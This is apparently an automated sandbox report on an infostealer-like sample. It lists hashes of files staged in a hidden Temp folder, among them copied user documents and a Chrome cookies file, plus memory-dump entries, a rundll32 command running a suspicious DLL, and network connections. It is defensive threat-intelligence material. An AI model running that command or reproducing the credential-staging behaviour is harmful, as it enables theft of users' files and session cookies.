SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

memory/4660-170-0x00007FF96EA40000-0x00007FF96F501000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 bd5940f08d0be56e65e5f2aaf47c538e
SHA1 d7e31b87866e5e383ab5499da64aba50f03e8443
SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
SHA512 c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e448fe0d240184c6597a31d3be2ced58
SHA1 372b8d8c19246d3e38cd3ba123cc0f56070f03cd
SHA256 c660f0db85a1e7f0f68db19868979bf50bd541531babf77a701e1b1ce5e6a391
SHA512 0b7f7eae7700d32b18eee3677cb7f89b46ace717fa7e6b501d6c47d54f15dff7e12b49f5a7d36a6ffe4c16165c7d55162db4f3621db545b6af638035752beab4

memory/60-215-0x00007FF97F370000-0x00007FF97F39E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Desktop\UninstallConvert.doc

MD5 3e4ed705bf02a11456879b94efcaa0f9
SHA1 747d16c1e8b517b4f3b4292be9be4993602db5a4
SHA256 01ef721bca554c528469ad42482f60f9a63f47f77e30d8abc1b47bf0ed0c7d22
SHA512 addb5f7d8aa27d673326cb0100ec42b39e9629ccaa774232db28990447878f877db50e4c7a6dff37d01f18d0b863b485f230e60f6e8d2a57a0fbeff5e3350c14

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\BackupInvoke.xlsx

MD5 6c6665dc1d5738d0567be74f114ef3fe
SHA1 b9891fc0371a57d167cfac481a82de0a1d3df8df
SHA256 0ef45be598042ebca28e0df2e30a7ae6ff2fb75b3905b13749cf1fcc6a6ed207
SHA512 2c84cea525c323af1922797f56b72bbedeb7ddc7d8af75c29c5ffcaabad8aec7fbbe9de3ff75445989b450bdd364965d615e1839587a97935963294baa506930

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\BackupLimit.vst

MD5 f230d7eb821efb84b89efb0b777e0799
SHA1 5e5a2759a2dddbbe54c1aa9d2531ecf5b30f226a
SHA256 9651d4ddb3157e4203c484c251c0b74f7816193553af12e02f020fbd7396a9b6
SHA512 8fc0b060b3cc701e7cb838d959223d545e607f7f9e2d9aa9d2bb7b01abe8994882f706b716fb24d18b15df0d7ee5b595060513ce49647a20b1e7e3cdd89163ca

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\Files.docx

MD5 4a8fbd593a733fc669169d614021185b
SHA1 166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
SHA512 6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\Opened.docx

MD5 bfbc1a403197ac8cfc95638c2da2cf0e
SHA1 634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
SHA512 b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\Recently.docx

MD5 3b068f508d40eb8258ff0b0592ca1f9c
SHA1 59ac025c3256e9c6c86165082974fe791ff9833a
SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
SHA512 e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\SyncPop.xls

MD5 2e53df12bcbef4d606a21e2737b5bde8
SHA1 1cd49fff0ecd3d29453fc0b3ea7b2b0020f71054
SHA256 d21bd7945e87ebafe1092bab6f0ddd9098fa21b051c413df7d86006bc49731f8
SHA512 6c35f59e4c9ed9377ca9f7302f604fc2fa47cbb9efb47e3324bcd1309093ae0ac2843afe661fb59e058de7deafdb41537d7a5b1f2051ba1a166fda53ebea4c20

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\These.docx

MD5 87cbab2a743fb7e0625cc332c9aac537
SHA1 50f858caa7f4ac3a93cf141a5d15b4edeb447ee7
SHA256 57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023
SHA512 6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Documents\UseCheckpoint.docx

MD5 feaed0466c0f01c63754aa29cb675811
SHA1 9e9f291e76eeca926dfb4f613bcc7847167e0a17
SHA256 de9dafb8f5585c738f00ddc3c088897985236132a5f83600a111cbce1fddbdc6
SHA512 5743138be80b0facaebd180e4b512e8627ded113a3fc6dafa9ca3a9ef4758a2e723cb6f781ee3f854ebea5309c1d44b1da13cfaaa3e15b46b753cd456f5ce5fd

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Downloads\BackupSearch.vsw

MD5 0cdbb8422c727f5a54cea3acf3db3fdf
SHA1 7dc102d832e459a6c50bc64b6d73bd2aa84f2f49
SHA256 ebd60ef7be4081561ae293079481966277bf3a4dd94fb67865825323d5e3cbb8
SHA512 4e3da9677deda74446bdc5630003ad654b26a7166a85f93e208cdeca921cb3c6a026d29f40938f4281479f244e5c12cc23c5d504f25dbe3b7babd33de7830040

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Downloads\BackupSuspend.tif

MD5 939eeff48a46d6b3448ba3f449cfe89b
SHA1 061aa3d4eaed8cc321960c57c5c842b0240892ba
SHA256 d71caebc5d7f473cdaa22751761bd9da3f080da55ebfaa347493e662c8c7fc7a
SHA512 6675fe7a3107cc942593ff73f4c29cc2694682775c274c2cae7aaad7f995def9522cd39b6c84daa93f84eb0608f91ec5bb41e0205b57d4cffa56883453c90722

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Music\AddBackup.bat

MD5 fabb565fe419386cf43e20ef28abf91f
SHA1 cfe5d05d78baddf31af5851b038846343b008e83
SHA256 8d42b816236d77aee07b17008a2e8c5cf5fea44437f3b73a39c2c6ca862d38ec
SHA512 80854c17f44237a31cfe523567f97054e2a8c811dc88892c3af6e327a111ee840e4f19b468a7bb19c022d1e375c6d643534069bd273bfe6dac52391d15e1fdbb

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Music\TestOut.mp3

MD5 96cae8baaaffeac267afe0c3d7d0a355
SHA1 7d553201eacfdd85e695f22fe6a4293286403038
SHA256 b52fdec3ba20ddfebfc9d2211a91c41f270f1126c42cbf03fc684bb841f92f9e
SHA512 1085b1cc948c9eeff999e7797a9155ea6d88bd2d39d380a87ac6bbf342cd10b2bde0cdef25cb8ea6a7779991dcacd3cbad1297b3b46aa5f744a3bb0ae9738e95

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Pictures\ApproveUnblock.jpg

MD5 d412db4681ea993d94b1b5de0972c307
SHA1 3cb2cafc7b1c21624b103d52045298c134bd1245
SHA256 26bffb9d77d5247e56f4dc6029d70de2da7e890ff09499a8f4f4cda22e44b5e5
SHA512 a1b02946fb035cc7cf1922c571bcd91081be59066032e7e25969fa270228c734273afc23fef8e1ca1c592fa27288a71fc419f5a4b3213636dc9c54e89bb04d44

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Pictures\CompareCompress.png

MD5 817435e5804366a3ed6e4608bccd2e82
SHA1 e50feb32e362ab64c204be97e77e47058aac931e
SHA256 64e69a813198bf12f62fbeb2be9904a53c70f06fa214fb25af900405203100a2
SHA512 8dea40f3194de5fa7fa80067246e0142116cc3023efbb13f7d06636318530e012b5f0fc4d5e5152d9828be398f86ddb3960d7469ee8ac22229f00512aec4db33

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Pictures\My Wallpaper.jpg

MD5 a51464e41d75b2aa2b00ca31ea2ce7eb
SHA1 5b94362ac6a23c5aba706e8bfd11a5d8bab6097d
SHA256 16d5506b6663085b1acd80644ffa5363c158e390da67ed31298b85ddf0ad353f
SHA512 b2a09d52c211e7100e3e68d88c13394c64f23bf2ec3ca25b109ffb1e1a96a054f0e0d25d2f2a0c2145616eabc88c51d63023cef5faa7b49129d020f67ab0b1ff

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Pictures\ResolveGrant.png

MD5 338d6c93152f07bf26a332f4c387f76d
SHA1 3a55759e54ddb6eac095ceb1321f97e19f0db6e1
SHA256 9bf2a4e58d2851a290f7cd9cd6b140095773d60fa087e39556e9266513f931ab
SHA512 0ca8c6122d702993d1058492f776c61c1f86a435bdddc0aa9f24316eb5688a5fe0a8c22b7152b49015a7c02540d1d25ee720c6192e41af475238f61c93e5d386

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Common Files\Pictures\StartPing.jpeg

MD5 6c777ddd3877d93f8fd21d133fe656d0
SHA1 07cc09034981c21939d69d49394e92b213917ce8
SHA256 73d66077149cd01204331cd2b1b53cd0869d79fb09af52cd0a0001140def17c1
SHA512 d7300ffb3341e6c91c27f00591ce9948818dfba4d881dd270320810ef6f88b9b0fe83893b55bba27d5a0d569b65c6a0b6f9dd26ae57fff6a3fb871d2555d2b45

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Credentials\Chrome\Chrome Cookies.txt

MD5 96eeeaeca446a80b4deb9c5d2d6ce0cc
SHA1 84ff624bcad4a3ef65cd60eb5b31b62eb2cd00a1
SHA256 49fa729be858dee0962dc1bcb52542b9d4cf6accad5b5d0cd48791e913ca30f4
SHA512 13e07e7eba81d77d19fadbf68e5d7e0c4e5f52b08b4bd4a546be62b859200226cdfd7eba68fc4515c694cae4216db051903a23295270fe86f2a5f3f30fa83ce1

C:\Users\Admin\AppData\Local\Temp\        ‍‏\Directories\Desktop.txt

MD5 869dd27f3c8a7564061b051ac4f7d883
SHA1 90726502a612ec6206e167bff35f6b6c658bcc86
SHA256 5fbabe1c6e1fc644e45efb1ed5494eadc77418875136d7d4232a4574f8cfcf40
SHA512 e0b8fbc01e275a73e01185c5e803c1b3a984b59f63f93c5ed6dce3adb2a9e14739466b3ed86be793ee43422a72d9a6b4d3b6b8b1ca27fa7390174737d2288ecc

memory/60-261-0x00007FF97F2B0000-0x00007FF97F368000-memory.dmp

memory/60-262-0x0000018614EF0000-0x0000018615265000-memory.dmp

memory/60-263-0x00007FF96FAE0000-0x00007FF96FE55000-memory.dmp

memory/60-269-0x00007FF97F570000-0x00007FF97F58F000-memory.dmp

memory/60-265-0x00007FF9843A0000-0x00007FF9843C4000-memory.dmp

memory/60-270-0x00007FF970570000-0x00007FF9706E1000-memory.dmp

memory/60-264-0x00007FF96FE60000-0x00007FF9702CE000-memory.dmp

memory/60-295-0x00007FF9843A0000-0x00007FF9843C4000-memory.dmp

memory/60-304-0x00007FF97F530000-0x00007FF97F544000-memory.dmp

memory/60-305-0x00007FF96F5C0000-0x00007FF96F6D8000-memory.dmp

memory/60-303-0x00007FF981710000-0x00007FF98171D000-memory.dmp

memory/60-302-0x00007FF97F370000-0x00007FF97F39E000-memory.dmp

memory/60-301-0x00007FF97F550000-0x00007FF97F569000-memory.dmp

memory/60-300-0x00007FF97F2B0000-0x00007FF97F368000-memory.dmp

memory/60-299-0x00007FF97F570000-0x00007FF97F58F000-memory.dmp

memory/60-298-0x00007FF985560000-0x00007FF985579000-memory.dmp

memory/60-297-0x00007FF97FB20000-0x00007FF97FB4D000-memory.dmp

memory/60-296-0x00007FF9882C0000-0x00007FF9882CF000-memory.dmp

memory/60-290-0x00007FF96FAE0000-0x00007FF96FE55000-memory.dmp

memory/60-285-0x00007FF970570000-0x00007FF9706E1000-memory.dmp

memory/60-294-0x00007FF985630000-0x00007FF98563D000-memory.dmp

memory/60-279-0x00007FF96FE60000-0x00007FF9702CE000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-06-18 06:54

Reported

2024-06-18 06:57

Platform

win10v2004-20240226-en

Max time kernel

141s

Max time network

154s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\DevBuild\DevBuild\bin\Debug\AnonymeAPI.dll,#1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
GB 96.16.110.114:80 tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 76.234.34.23.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
GB 142.250.187.234:443 tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 13.107.246.64:443 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 152.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

N/A